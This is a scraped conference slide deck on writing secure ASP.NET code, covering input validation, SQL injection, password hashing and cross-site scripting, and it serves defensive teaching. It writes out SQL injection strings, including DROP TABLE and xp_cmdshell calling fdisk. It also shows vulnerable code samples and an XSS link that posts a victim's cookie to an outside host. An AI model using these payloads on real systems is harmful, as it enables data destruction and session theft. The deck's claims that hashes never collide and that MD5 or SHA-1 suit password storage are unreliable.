View
218
Download
0
Category
Preview:
Citation preview
Sofia, Bulgaria | 9-10 October
Writing Secure Code for ASP .NET
Writing Secure Code for ASP .NET
Stephen Forte
CTO, Corzen Inc
Microsoft Regional Director NY/NJ (USA)
Stephen Forte
CTO, Corzen Inc
Microsoft Regional Director NY/NJ (USA)
Sofia, Bulgaria | 9-10 October
Speaker.Bio.ToString()Speaker.Bio.ToString()
● CTO and co-Founder of Corzen, Inc
● Microsoft MVP and INETA Speaker
● International Conference Speaker for 9+ Years
● Wrote a few books on databases and development
● Co-moderator & founder of NYC .NET Developers Group
● http://www.nycdotnetdev.com● Former CTO of Zagat Survey
● CTO and co-Founder of Corzen, Inc
● Microsoft MVP and INETA Speaker
● International Conference Speaker for 9+ Years
● Wrote a few books on databases and development
● Co-moderator & founder of NYC .NET Developers Group
● http://www.nycdotnetdev.com● Former CTO of Zagat Survey
Sofia, Bulgaria | 9-10 October
AgendaAgenda
● Why Care?
● Best Practices for Writing Secure Code
● Query String and Input Validation
● SQL Injection
● Storing Secret Data
● Exception Handling
● XSS and HTML Management
● Why Care?
● Best Practices for Writing Secure Code
● Query String and Input Validation
● SQL Injection
● Storing Secret Data
● Exception Handling
● XSS and HTML Management
Sofia, Bulgaria | 9-10 October
What we won’t coverWhat we won’t cover
● Administrative Security
● Authentication and Authorization from an Admin level
● Code Access Security from an Admin level
● Cryptology
● Administrative Security
● Authentication and Authorization from an Admin level
● Code Access Security from an Admin level
● Cryptology
Sofia, Bulgaria | 9-10 October
AgendaAgenda
● Why Care?
● Best Practices for Writing Secure Code
● Query String and Input Validation
● SQL Injection
● Storing Secret Data
● Exception Handling
● XSS and HTML Management
● Why Care?
● Best Practices for Writing Secure Code
● Query String and Input Validation
● SQL Injection
● Storing Secret Data
● Exception Handling
● XSS and HTML Management
Sofia, Bulgaria | 9-10 October
Writing Secure CodeWriting Secure Code
● Developers usually think that security is an administrative problem, not a coding problem
● While several security issues are administrative in nature, you can write secure code to protect your application
● Some simple changes to your coding style can result in massive security holes closed
● Developers usually think that security is an administrative problem, not a coding problem
● While several security issues are administrative in nature, you can write secure code to protect your application
● Some simple changes to your coding style can result in massive security holes closed
Sofia, Bulgaria | 9-10 October
AgendaAgenda
● Why Care?
● Best Practices for Writing Secure Code
● Query String and Input Validation
● SQL Injection
● Storing Secret Data
● Exception Handling
● XSS and HTML Management
● Why Care?
● Best Practices for Writing Secure Code
● Query String and Input Validation
● SQL Injection
● Storing Secret Data
● Exception Handling
● XSS and HTML Management
Sofia, Bulgaria | 9-10 October
Input and Query String ValidationInput and Query String Validation
● All user input is evil!
● Not properly validating user input can lead to:
● SQL Injection
● XSS (Cross Site Scripting)
● All user input is evil!
● Not properly validating user input can lead to:
● SQL Injection
● XSS (Cross Site Scripting)
Sofia, Bulgaria | 9-10 October
Do Not Trust User InputDo Not Trust User Input
● Validate all input
● Guilty until proven innocent: assume all input is bad until you prove otherwise
● Look for valid data and reject everything else
● Don’t assume that your client validations were applied, revalidate on the server (a hacker can bypass your client scripting)
● Avoid Query Strings altogether if possible
● Validate all input
● Guilty until proven innocent: assume all input is bad until you prove otherwise
● Look for valid data and reject everything else
● Don’t assume that your client validations were applied, revalidate on the server (a hacker can bypass your client scripting)
● Avoid Query Strings altogether if possible
Sofia, Bulgaria | 9-10 October
Ways to Validate InputWays to Validate Input● Client Side:
● Validation Controls
● Server Side:
● Regular Expressions (RegEx) are your friend
● Validate for TLRF:
● Type checks
● Length checks
● Range checks
● Format checks
● Client Side:
● Validation Controls
● Server Side:
● Regular Expressions (RegEx) are your friend
● Validate for TLRF:
● Type checks
● Length checks
● Range checks
● Format checksValidator.ValidationExpression =
"\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*";
Sofia, Bulgaria | 9-10 October
AgendaAgenda
● Why Care?
● Best Practices for Writing Secure Code
● Query String and Input Validation
● SQL Injection
● Storing Secret Data
● Exception Handling
● XSS and HTML Management
● Why Care?
● Best Practices for Writing Secure Code
● Query String and Input Validation
● SQL Injection
● Storing Secret Data
● Exception Handling
● XSS and HTML Management
Sofia, Bulgaria | 9-10 October
What is SQL Injection? What is SQL Injection?
● What is SQL Injection?
● The process of adding SQL statements in user input
● Used by hackers to:
● Probe databases and call built-in stored procedures
● Bypass authorization (adding records into custom login tables)
● Execute multiple SQL statements to delete data or drop tables
Sofia, Bulgaria | 9-10 October
Examples of SQL InjectionExamples of SQL Injection
● If the ID variable is read directly from a Windows form textbox, the user could enter any of the following:
● 21001' or 1=1 --
● 21001' DROP TABLE OrderDetail --
● 21001' exec xp_cmdshell('fdisk.exe') --
strSQL = "SELECT * FROM"+ " Orders WHERE OrderID ='"+ ID + "'";
Sofia, Bulgaria | 9-10 October
Preventing SQL InjectionPreventing SQL Injection● All User Input is Evil!
● Validate all input twice
● Client side validation controls
● Server Side manual validation for Type, Length, Format, and Range using RegEx
● Use Stored Procedures!
● Run with least privilege
● Never execute as “sa”
● Consider two databases with 2 logins
● Remove access to all tables and restrict access to built-in stored procedures (reduces attack surface)
● All User Input is Evil!
● Validate all input twice
● Client side validation controls
● Server Side manual validation for Type, Length, Format, and Range using RegEx
● Use Stored Procedures!
● Run with least privilege
● Never execute as “sa”
● Consider two databases with 2 logins
● Remove access to all tables and restrict access to built-in stored procedures (reduces attack surface)
Sofia, Bulgaria | 9-10 October
AgendaAgenda
● Why Care?
● Best Practices for Writing Secure Code
● Query String and Input Validation
● SQL Injection
● Storing Secret Data
● Exception Handling
● XSS and HTML Management
● Why Care?
● Best Practices for Writing Secure Code
● Query String and Input Validation
● SQL Injection
● Storing Secret Data
● Exception Handling
● XSS and HTML Management
Sofia, Bulgaria | 9-10 October
Storing Secret DataStoring Secret Data
● Your application should not store secret data (passwords, etc)
● If you must store secret data, do not encrypt it in the database
● Hackers may guess or get the key
● Store a hashed representation of the data
● Your application should not store secret data (passwords, etc)
● If you must store secret data, do not encrypt it in the database
● Hackers may guess or get the key
● Store a hashed representation of the data
Sofia, Bulgaria | 9-10 October
What is a Hash?What is a Hash?
● A mathematical formula that converts a message of any length into a unique fixed-length string of digits (typically 160 bits) known as "message digest" that represents the original message.
● A hash is a one-way function - that is, it is infeasible to reverse the process to determine the original message.
● A hash function will not produce the same message digest from two different inputs.
● The MD5 and SHA-1 algorithms are two of the most popular algorithms although any cryptosystem can be used to create a hash function (as, indeed, any cryptographically secure hash can be used to create a cryptosystem).
● A mathematical formula that converts a message of any length into a unique fixed-length string of digits (typically 160 bits) known as "message digest" that represents the original message.
● A hash is a one-way function - that is, it is infeasible to reverse the process to determine the original message.
● A hash function will not produce the same message digest from two different inputs.
● The MD5 and SHA-1 algorithms are two of the most popular algorithms although any cryptosystem can be used to create a hash function (as, indeed, any cryptographically secure hash can be used to create a cryptosystem).
Sofia, Bulgaria | 9-10 October
Storing a Password HashStoring a Password Hash
● Will only store the message digest (hash) of the password in the database not the actual password.
● When a user comes back to the site they will have to provide the password and you will then recompute the hash of that password and compare them.
● So you are only storing the verifier in the database, not the actual password.
● Will only store the message digest (hash) of the password in the database not the actual password.
● When a user comes back to the site they will have to provide the password and you will then recompute the hash of that password and compare them.
● So you are only storing the verifier in the database, not the actual password.
Sofia, Bulgaria | 9-10 October
Random Salting a HashRandom Salting a Hash
● Problem: If you know the password of a user, and some other user happens to have the same hash, then you know both have the same password
● A hacker can exploit this with a dictionary attack
● To “salt” a hash, generate a random string and prefix it to the clear password before hashing it.
● Save both the salt and the hashed password in the Users table.
● Drastically diminishes a dictionary attack
● Problem: If you know the password of a user, and some other user happens to have the same hash, then you know both have the same password
● A hacker can exploit this with a dictionary attack
● To “salt” a hash, generate a random string and prefix it to the clear password before hashing it.
● Save both the salt and the hashed password in the Users table.
● Drastically diminishes a dictionary attack
Sofia, Bulgaria | 9-10 October
Pros and ConsPros and Cons
● Pros:
● Easy to set up
● Protects against disgruntled corporate users
● If the database is cracked, the hacker will not have and passwords-the hash is useless (remember a Hash is 1 way)
● Cons:
● Cannot send a user their password if they forget, you will have to reset it for them
● Pros:
● Easy to set up
● Protects against disgruntled corporate users
● If the database is cracked, the hacker will not have and passwords-the hash is useless (remember a Hash is 1 way)
● Cons:
● Cannot send a user their password if they forget, you will have to reset it for them
Sofia, Bulgaria | 9-10 October
AgendaAgenda
● Why Care?
● Best Practices for Writing Secure Code
● Query String and Input Validation
● SQL Injection
● Storing Secret Data
● Exception Handling
● XSS and HTML Management
● Why Care?
● Best Practices for Writing Secure Code
● Query String and Input Validation
● SQL Injection
● Storing Secret Data
● Exception Handling
● XSS and HTML Management
Sofia, Bulgaria | 9-10 October
Exception Handling Exception Handling
● Never ever show the default ASP .NET debug page
● Never show trace information
● Never reveal any debug information to the user
● Never ever show the default ASP .NET debug page
● Never show trace information
● Never reveal any debug information to the user
Sofia, Bulgaria | 9-10 October
Audit EverythingAudit Everything
● Make sure everything that happens on your site is reproducible
● Do not rely on IIS logs, audit your code
● Commercial products to do this
● Make sure everything that happens on your site is reproducible
● Do not rely on IIS logs, audit your code
● Commercial products to do this
Sofia, Bulgaria | 9-10 October
AgendaAgenda
● Why Care?
● Best Practices for Writing Secure Code
● Query String and Input Validation
● SQL Injection
● Storing Secret Data
● Exception Handling
● XSS and HTML Management
● Why Care?
● Best Practices for Writing Secure Code
● Query String and Input Validation
● SQL Injection
● Storing Secret Data
● Exception Handling
● XSS and HTML Management
Sofia, Bulgaria | 9-10 October
What Is Cross-Site Scripting?What Is Cross-Site Scripting?
● A technique that allows hackers to:
● Execute malicious script in a client’s Web browser
● Insert <script>, <object>, <applet>, <form>, and <embed> tags
● Steal Web session information and authentication cookies
● Access the client computer
● A technique that allows hackers to:
● Execute malicious script in a client’s Web browser
● Insert <script>, <object>, <applet>, <form>, and <embed> tags
● Steal Web session information and authentication cookies
● Access the client computer
Any Web page that renders HTMLcontaining user input is vulnerable
Sofia, Bulgaria | 9-10 October
Two Common Exploits of Cross-Site ScriptingTwo Common Exploits of Cross-Site Scripting● Attacking Web-based e-mail platforms
and discussion boards
● Using HTML <form> tags to redirect private information
Sofia, Bulgaria | 9-10 October
Form-Based Attacks (1 of 2)Form-Based Attacks (1 of 2)
Response.Write("Welcome" & Request.QueryString("UserName"))
Sofia, Bulgaria | 9-10 October
Form-Based Attacks (2 of 2)Form-Based Attacks (2 of 2)
<a href=http://www.contoso.msft/welcome.asp?name= <FORM action=http://www. nwtraders.msft/data.asp method=post id=“idForm”> <INPUT name=“cookie” type=“hidden”> </FORM> <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); </SCRIPT> >
here</a>
Sofia, Bulgaria | 9-10 October
Defending Against Cross-Site Scripting AttacksDefending Against Cross-Site Scripting Attacks● Do not:
● Trust user input
● Echo Web-based user input unless you have validated it
● Store secret information in cookies
● Do:
● Use the HttpOnly cookie option
● Use the <frame> security attribute
● Take advantage of ASP.NET features
● Do not:
● Trust user input
● Echo Web-based user input unless you have validated it
● Store secret information in cookies
● Do:
● Use the HttpOnly cookie option
● Use the <frame> security attribute
● Take advantage of ASP.NET features
Sofia, Bulgaria | 9-10 October
ProtectionProtection
● Use HTMLEncode and URLEncode
● Use RegEx to remove any script of HTML code from user input
● Use HTMLEncode and URLEncode
● Use RegEx to remove any script of HTML code from user input
Sofia, Bulgaria | 9-10 October
Defending Against Cross-Site Scripting AttacksDefending Against Cross-Site Scripting Attacks● Do not:
● Trust user input
● Echo Web-based user input unless you have validated it
● Store secret information in cookies
● Do:
● Use the HttpOnly cookie option
● Use the <frame> security attribute
● Take advantage of ASP.NET features
● Do not:
● Trust user input
● Echo Web-based user input unless you have validated it
● Store secret information in cookies
● Do:
● Use the HttpOnly cookie option
● Use the <frame> security attribute
● Take advantage of ASP.NET features
Recommended